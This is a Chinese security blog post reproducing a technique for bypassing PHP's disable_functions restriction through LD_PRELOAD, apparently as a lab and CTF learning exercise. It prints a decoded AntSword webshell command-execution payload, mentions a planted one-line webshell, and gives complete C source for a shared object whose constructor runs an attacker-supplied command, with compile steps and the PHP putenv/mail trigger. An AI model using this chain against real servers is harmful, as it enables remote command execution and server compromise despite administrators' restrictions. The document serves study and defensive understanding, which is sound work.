龙空技术网

「青藤云安全研究」绕过php的disable_functions(上篇)

青藤云安全QINGTENG 156

前言:

今天同学们对“php禁止函数”都比较注意,大家都想要学习一些“php禁止函数”的相关资讯。那么小编在网摘上收集了一些关于“php禁止函数””的相关内容,希望你们能喜欢,大家一起来学习一下吧!

今天无意间看到一篇文章,讲述的是某个php站点在限制了disable_functions的情况下,如何通过LD_PRELOAD来执行命令。看完之后复现了一遍,感觉收获颇多。

后来跟随文章提到的思路找了一下其它思路,尝试使用各种姿势绕过disable_functions,遂有想写这篇文章的想法。近期也看到不少CTF也将相关知识加入考点,这里记录一下~

上篇主要讲解使用LD_PRELOAD绕过disable_functions的复现过程,之后的内容是绕过的其它姿势,看篇幅决定是写个下篇还是分中、下两篇写。

disable_functions之殇

先说下php.ini中的disable_functions,这个本来php为了防止一些危险函数执行给出的配置项,但是默认情况下为空,也就是说php官方认为:哪些函数存在风险由开发者自行决定,否则可能影响项目正常运行。

当然想法没问题,毕竟“汝之蜜糖 彼之砒霜”不同开发者面临的需求和能力不仅相同,为了实现某些特殊功能,不得不调用一些函数,这些函数都是php自己实现并提供的,默认就禁用也会有损“世界上最好语言”的声誉:)

所以有些开发者自己鼓捣了一些非权威危险函数列表,比如:

system、shell_exec、exec、passthru、phpinfo等

其实就是一个黑名单,搞web安全的都知道,凡是黑名单都存在被绕过的可能,尤其php又是一门这么灵活的语言再加之和其它应用结合的情况下,绕过的可能性更加大了,今天看的这篇文章提供了4种思路。

无需sendmail:巧用LDPRELOAD突破disablefunctions

()

1. 攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞

2. 寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec()

3. mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制

4. 利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果

都是非常好的思路,今天我们来复现一下文章中主要提到的第4种思路:使用LD_PRELOAD绕过disable_functions。

环境构造

操作系统:Kali 2019.1

php版本:PHP 7.3.2-3web

目录:/root/disablefuncphp.ini

路径:/etc/php/7.3/cli/php.ini

为了节约时间起见,也懒得配置apache或者nginx了,直接使用php命令行指定web目录并运行。

php -S 0.0.0.0:8888

这里顺便说一下,一开始我用的是6666端口,结果chrome浏览器打不开,ie可以后来用firefox发现了真相,说是非常用web端口,所以启动的时候最后用个常见的web端口。

方便期间,该目录下留了两个文件phpinfo.php和webshell.php,分别是phpinfo文件和一个一句话木马(懒得写上传点)。

再修改一下php.ini,将一些常见危险函数加入其中

disable_functions = symlink,show_source,system,exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exec,curl_multi_exec,pcntl_exec

重启php,我们看一下效果

上蚁剑,完美连接。

虚拟终端尝试命令执行呢?

返回全是ret=127报错,说明disable_functions生效了,至少蚁剑尝试的命令都失败了,这正是我们想要的效果。

原因分析

为什么蚁剑的连接成功,可以连接、列目录但是不能执行命令呢?

还是老规矩上wireshark抓个包看下,首先是首次连接的HTTP数据包。

我的一句话木马连接的key是meetsec,POST请求包中的body部分url编码太多,我们简单还原一下。

其中和目录/系统/用户相关的函数dirname、phpuname、getcurrentuser都不在disablefunctions中。

再尝试列一下根目录文件,看一下这个请求。

其中的filemtime、fileperms、readdir等和文件、目录相关的函数也未被禁用

至于命令执行的请求包。

执行命令用到的函数是system、exec、passthru等早就被我们和谐的函数,自然无法实现命令执行。

有人可能好奇我敲的命令在请求包啥位置。

0xd28d6b0ccb7e=Y2QgIi9yb290L2Rpc2FibGVmdW5jIjtscztlY2hvIFtTXTtwd2Q7ZWNobyBbRV0=&0xe5793956f2725=L2Jpbi9zaA==&meetsec=@iniset("displayerrors", "0");@settimelimit(0);header('HTTP/1.1 200 OK');echo "->|";$p=base64decode($POST["0xe5793956f2725"]);$s=base64decode($POST["0xd28d6b0ccb7e"]);$d=dirname($SERVER["SCRIPTFILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";function fe($f){$d=explode(",",@iniget("disablefunctions"));if(empty($d)){$d=array();}else{$d=arraymap('trim',arraymap('strtolower',$d));}return(functionexists($f)&&iscallable($f)&&!inarray($f,$d));};function runcmd($c){$ret=0;if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shellexec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join(" ",$o));}elseif (fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp, 2048));}@pclose($fp);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;echo "|<-";die();

其实这个请求主要是用base64编码加字符串替换的方式实现了简单的混淆,解一下其中的base64部分然后替换到指定字符串就知道大致含义,此处不深入展开,有兴趣可以自行探索。

LD_PRELOAD简述

关于LD_PRELOAD,之前其实在处理挖矿木马的时候遇到过,也写过文章,主要是修改并隐藏/etc/ld.so.preload中的内容为恶意动态链接库,实现文件、进程隐藏的效果。

这里的LD_PRELOAD其实类似:

LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为LDPRELOAD>LDLIBRARYPATH>/etc/ld.so.cache>/lib>/usr/lib。程序中我们经常要调用一些外部库的函数,以open()和execve()为例,如果我们有个自定义这两函数,把它编译成动态库后,通过LDPRELOAD加载,当程序中调用open函数时,调用的其实是我们自定义的函数

也就是说如果我们想修改某函数test的执行结果,可以使用LDPRELOAD这个环境变量,内容是我们编译好的so文件,其中有一个同名test函数。如果我们在执行的时候通过LDPRELOAD加载了我们编写了so文件,那么如果某些命令执行的时候调用了test函数,我们编写的test函数优先级最高,会最先执行。

简而言之是个同名函数谁能先执行的问题,使用LD_PRELOAD加持,就可以优先执行。

有兴趣的小伙伴看一下这篇文章

LD_PRELOAD用法()

当然如果我们要劫持一个Linux系统命令的结果,首先要做的是知道该命令可能会调用哪些系统API,或者可执行文件的符号表,比如id命令的。

readefl -Ws `which id`

当然这里注意,这个命令结果仅代表可能被调用的API,不代表一定调用,那么如何才能看到实际调用的情况呢?

strace -f `which id` 2>&1

内容还是很多的,那我们关注什么呢?

由于被劫持的系统函数得由我们重新实现一次,函数原型必须一致,为减少复杂性,我会选择劫持那些无参数且常用的系统函数,getuid() 就适合,以此为例,完整劫持过程步骤大致如下:首先,用 man 2 getuid 查看函数原型:

附:man 1,2,3含义

1是普通的命令

2是系统调用,如open,write之类的(通过这个,至少可以很方便的查到调用这个函数,需要加什么头文件)

3是库函数,如printf,fread

既然getuid非常符合我们劫持函数的要求,就尝试劫持它吧,先写一段getuid的c源码getuid_meetsec.c。

然后编译成64位共享动态链接库getuid_meetsec.so(warning不用在意)

gcc -shared -fPIC getuid_meetsec.c -o getuid_meetsec.so -m64

参数含义如下:

如果想创建一个动态链接库,可以使用 GCC 的-shared选项。输入文件可以是源文件、汇编文件或者目标文件。

另外还得结合-fPIC选项。-fPIC 选项作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code);这样一来,产生的代码中就没有绝对地址了,全部使用相对地址,所以代码可以被加载器加载到内存的任意位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。

看下效果,我们执行

LD_PRELOAD=/root/disablefunc/getuid_meetsec.so `which id`

先加载我们写的so文件

我这环境有点问题,所以会重复多次执行新增的语句。

当然你也可以这样执行:

export LD_PRELOAD="./getuid_meetsec.so"id

效果一样,不过非常可怕的事情发生了,此时所有系统命令都会加载本so,执行命令速度无比缓慢。

想要复原的话很简单。

export LD_PRELOAD=NULL

顺便一提,如果执行完上面语句以后敲任意命令都有其它语句跟随输出,此时重启系统可恢复正常。

php和LD_PRELOAD

上面主要从linux系统层面介绍了一下LD_PRELOAD的含义和用法,那么和php有啥关系呢?

有的,因为很多php函数是可以启动新进程的,一旦启动了新进程必然涉及调用系统API,同时php基于C语言开发,linux同样基于C语言开发,所以两者在函数实现上有相同之处。

所以我们要做的遍历php自带的函数,看看有多少是可以启动新进程的,当然启动的方式还不能是exec,system,passthru等这种方式的。

原文作者yangyangwithgnu通过耐心寻找终于发现了php中的mail函数在运行时可以通过execve启用新进程。

strace -f php mail.php 2>&1 |grep -A2 -B2 execve

我们在php中可以使用putenv函数提前加载我们写好的so文件。

putenv("LD_PRELOAD=/root/disablefunc/getuid_meetsec.so");

好了,说到这里,基本命令执行的思路就有了。

我们可以先创建一个可执行命令的so文件再编写一个php文件引用我们的so文件

当然so文件的来源自然是要先用c源码文件编译得到,而且最好是不依赖于操作系统环境的共享库。

不过这里还是有一个问题,c源码中的,我们去劫持哪个函数呢?上面是以php的mail函数为例劫持通过启动新进程劫持getuid函数,但从strace命令的结果看。

mail函数的使用依赖于系统中存在的sendmail命令

但是不一定系统中启用了sendmail甚至可能根本没有安装,如果是这样的话,我们就无法通过mail--sendmail--getuid这条链路实现函数劫持。

所以我们更应该考虑的不是劫持某个函数,而应考虑劫持共享对象,这里直接引用作者原文描述:

回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了。这种场景与 C++ 的构造函数简直神似!几经搜索后了解到,GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor))修饰的函数。

非常nice的知识点,放弃劫持单一函数,转投关注通用性更强的共享对象,这才是本篇教程的核心点!

这也是为什么教程的标题叫做 无需sendmail:巧用LD_PRELOAD突破disable_functions正是基于以上思路,作者给出了配套了php小马和c源码项目源码。

bypass_disablefunc.php

bypass_disablefunc.php 提供三个 GET 参数。

1. cmd 参数,待执行的系统命令(如 pwd);2. outpath 参数,保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外关于该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点;3. sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它。此外,bypass_disablefunc.php 拼接命令和输出路径成为完整的命令行,所以你不用在 cmd 参数中重定向了:$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";

同时,通过环境变量 EVILCMDLINE 向 bypassdisablefunc_x64.so 传递具体执行的命令行信息:

putenv("EVIL_CMDLINE=" . $evil_cmdline);

bypass_disablefunc.c

#define _GNU_SOURCE#include #include #include extern char** environ;__attribute__ ((__constructor__)) void preload (void){ // get command line options and arg const char* cmdline = getenv("EVIL_CMDLINE"); // unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } } // executive command system(cmdline);}

如果你是一个细心的人你会发现这里的bypassdisablefunc.c(来自github)和教程中提及的不一样,多出了使用for循环修改LDPRELOAD的首个字符改成\0,如果你略微了解C语言就会知道\0是C语言字符串结束标记,原因注释里有:unsetenv("LDPRELOAD")在某些Linux发行版不一定生效(如CentOS),这样一个小动作能够让系统原有的LDPRELOAD环境变量自动失效。

然后从环境变量 EVILCMDLINE 中接收 bypassdisablefunc.php 传递过来的待执行的命令行。

用命令 gcc -shared -fPIC bypassdisablefunc.c -o bypassdisablefuncx64.so 将 bypassdisablefunc.c 编译为共享对象 bypassdisablefuncx64.so:

要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。

然后我们使用蚁剑把相关文件上传到咱们的web目录下。

ok,测试一下效果哈

;outpath=/tmp/xx&sopath=/root/disablefunc/bypassdisablefunc_x64.so

效果大赞,如果无法成功注意web进程用户权限(读写、目录访问等),其中sopath传入绝对路径。

非常好的一篇文章,希望能多多学习其中的思路~

下篇将尝试复现其它的绕过disable_functions的思路,敬请期待~

参考链接

无需sendmail:巧用LDPRELOAD突破disablefunctions

警惕UNIX下的LD_PRELOAD环境变量

深入浅出LD_PRELOAD & putenv()

TCTF2019 WallBreaker-Easy 解题分析

标签: #php禁止函数